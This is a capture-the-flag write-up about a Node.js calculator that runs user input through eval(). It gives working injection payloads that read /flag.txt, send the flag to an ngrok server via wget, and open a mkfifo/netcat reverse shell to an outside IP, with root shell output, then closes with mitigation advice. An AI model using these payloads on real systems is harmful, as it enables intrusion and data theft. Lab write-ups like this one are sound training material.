In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! 🦑
This website is a javascript calculator that uses eval()
to make it’s calculations.
Reconnaissance
The source code is provided, so we can dig in the details of how this calculator works.
calculatorHelper.js
When viewing the source code, it looks like the calculate()
function performs an eval()
on a function that contains our user input.
1
2
3
4
5
6
7
8
9
10
11
12
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
Exploit
File System Module
The easiest approach is to use the fs
module.
1
require('fs').readFileSync('/flag.txt','utf8')
Child Process Module
Another approach would be to use the child_process
module, especially the exec()
function that spawns a shell then executes the command within that shell.
Running cat flag.txt
is returning an object, but there are other ways to perform this exploit via child_process.exec()
.
Exfiltrate Data
If this application would be vulnerable to an os command injection but we can’t view the output of our commands, we can still exfiltrate the data via wget
.
We set up our own web server via ngrok
to make it accessible to the outside world.
1
2
3
$ ./ngrok http 127.0.0.1:80
Forwarding: https://baa7-2a02-a03f-e416-1500-119c-6e68-4ade-c6fa.ngrok-free.app -> 127.0.0.1
We import the child_process
module and callg the function exec
that will execute our commands on the server. We call wget to do a GET
request to our server concatenating the cat /flag.txt
command via command substitution. Using command substitution via $(COMMAND)
allows us to execute a command and substitute its output in place of the expression.
1
require('child_process').exec('wget https://baa7-2a02-a03f-e416-1500-119c-6e68-4ade-c6fa.ngrok-free.app?flag=$(cat /flag.txt)')
1
2
3
4
$ ./ngrok http 127.0.0.1:80
HTTP Requests
-------------
GET /flag=HTB{c4**REDACTED**c3} 502 Bad Gateway
Reverse Shell
Another possibility is spawning a reverse shell. It requires some trial and error.
We first need to set up ngrok
as we need to be reachable from the outside:
1
2
$ ./ngrok tcp 127.0.0.1:1234
Forwarding tcp://7.tcp.eu.ngrok.io:17785 -> 127.0.0.1:1234
We require the ip of the ngrok
domain we are using, so we can use dig
. dig
(domain information groper) is a tool for getting information from DNS name servers.
1
2
3
4
5
6
7
8
9
10
$ dig 7.tcp.eu.ngrok.io
; <<>> DiG 9.18.8-1-Debian <<>> 7.tcp.eu.ngrok.io
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22603
;; ANSWER SECTION:
7.tcp.eu.ngrok.io. 60 IN A 3.67.15.169
We then spawn a listener with netcat (nc
):
1
$ nc -lvnp 1234
We can now start building our reverse shells. I tried a few from revshells.com. The one that seemed to work was using nc mkfifo
:
1
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 3.67.15.169 17785 >/tmp/f')
But as the error message indicates there was no /bin/bash
shell available, only /bin/sh
.
1
2
3
4
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 52130
/bin/sh: /bin/bash: not found
We adjust our payload to use /bin/sh
:
1
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 3.67.15.169 17785 >/tmp/f')
And we get a reverse shell.
1
2
3
4
5
6
7
8
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43344
/bin/sh: can't access tty; job control turned off
/app # id
uid=0(root) gid=0(root) groups=1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat /flag.txt
HTB{c4**REDACTED**c3}/app #
Mitigation
Avoid eval()
completely and use libraries or methods that are specific for your use case. This application could be made without using eval()
, if complex mathematical operations are required there are always libraries like mathjs
or similar who have a proven track record.